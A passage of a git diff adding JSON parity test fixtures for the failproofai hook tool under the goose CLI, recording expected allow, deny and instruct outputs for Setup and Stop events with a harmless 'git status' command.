+ }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/Setup/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/goose/Setup/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..cbaa35b8 --- /dev/null +++ b/__tests__/parity/fixtures/goose/Setup/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "goose", + "decision_kind": "deny", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/Setup/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/goose/Setup/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..7a5cf435 --- /dev/null +++ b/__tests__/parity/fixtures/goose/Setup/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "goose", + "decision_kind": "deny", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/Setup/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/goose/Setup/deny__tool-present__one-policy.json new file mode 100644 index 00000000..9b8ffca9 --- /dev/null +++ b/__tests__/parity/fixtures/goose/Setup/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "goose", + "decision_kind": "deny", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/Setup/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/goose/Setup/deny__tool-present__two-policies.json new file mode 100644 index 00000000..68e80264 --- /dev/null +++ b/__tests__/parity/fixtures/goose/Setup/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "goose", + "decision_kind": "deny", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/Setup/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/goose/Setup/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..23de02bb --- /dev/null +++ b/__tests__/parity/fixtures/goose/Setup/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "goose", + "decision_kind": "instruct", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/Setup/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/goose/Setup/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..db8051f4 --- /dev/null +++ b/__tests__/parity/fixtures/goose/Setup/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "goose", + "decision_kind": "instruct", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/Setup/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/goose/Setup/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..39392bcb --- /dev/null +++ b/__tests__/parity/fixtures/goose/Setup/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "goose", + "decision_kind": "instruct", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/Setup/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/goose/Setup/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..5c471282 --- /dev/null +++ b/__tests__/parity/fixtures/goose/Setup/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "goose", + "decision_kind": "instruct", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/Stop/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/goose/Stop/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..8cb54151 --- /dev/null +++ b/__tests__/parity/fixtures/goose/Stop/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "goose", + "decision_kind": "allow-silent", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/Stop/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/goose/Stop/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..24f08146 --- /dev/null +++ b/__tests__/parity/fixtures/goose/Stop/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "goose", + "decision_kind": "allow-silent", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/Stop/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/goose/Stop/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..42570ecf --- /dev/null +++ b/__tests__/parity/fixtures/goose/Stop/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "goose", + "decision_kind": "allow-silent", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/Stop/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/goose/Stop/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..f0339f5b --- /dev/null +++ b/__tests__/parity/fixtures/goose/Stop/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "goose", + "decision_kind": "allow-silent", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/Stop/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/goose/Stop/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..b27bad0a --- /dev/null +++ b/__tests__/parity/fixtures/goose/Stop/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "goose", + "decision_kind": "allow-with-reason", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/Stop/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/goose/Stop/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..c904b396 --- /dev/null +++ b/__tests__/parity/fixtures/goose/Stop/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "goose", + "decision_kind": "allow-with-reason", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/Stop/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/goose/Stop/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..80919767 --- /dev/null +++ b/__tests__/parity/fixtures/goose/Stop/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "goose", + "decision_kind": "allow-with-reason", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/Stop/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/goose/Stop/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..c0303cc5 --- /dev/null +++ b/__tests__/parity/fixtures/goose/Stop/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "goose", + "decision_kind": "allow-with-reason", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/Stop/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/goose/Stop/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..619b8de8 --- /dev/null +++ b/__tests__/parity/fixtures/goose/Stop/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "goose", + "decision_kind": "deny", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked stop by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/Stop/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/goose/Stop/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..9faecb2e --- /dev/null +++ b/__tests__/parity/fixtures/goose/Stop/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "goose", + "decision_kind": "deny", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked stop by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/Stop/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/goose/Stop/deny__tool-present__one-policy.json new file mode 100644 index 00000000..69ef54ca --- /dev/null +++ b/__tests__/parity/fixtures/goose/Stop/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "goose", + "decision_kind": "deny", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/Stop/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/goose/Stop/deny__tool-present__two-policies.json new file mode 100644 index 00000000..17572966 --- /dev/null +++ b/__tests__/parity/fixtures/goose/Stop/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "goose", + "decision_kind": "deny", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": 